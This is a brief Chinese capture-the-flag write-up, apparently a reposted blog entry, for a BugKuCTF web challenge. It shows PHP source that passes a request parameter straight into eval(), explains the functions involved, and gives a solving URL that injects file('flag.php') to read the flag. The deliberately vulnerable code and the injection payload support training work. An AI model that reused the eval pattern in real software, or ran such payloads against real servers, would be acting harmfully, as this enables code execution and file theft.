BugKuCTF WEB 本地包含

http://123.206.87.240:8003/

题解:

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

原理:

$_REQUEST[]支持det、post两种方式发送过来的请求 

var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值;数组将递归展开值,通过缩进显示其结构

eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名 

URL

http://123.206.87.240:8003/?hello=file("flag.php")

 

猜你喜欢

转载自blog.csdn.net/weixin_43272781/article/details/95034112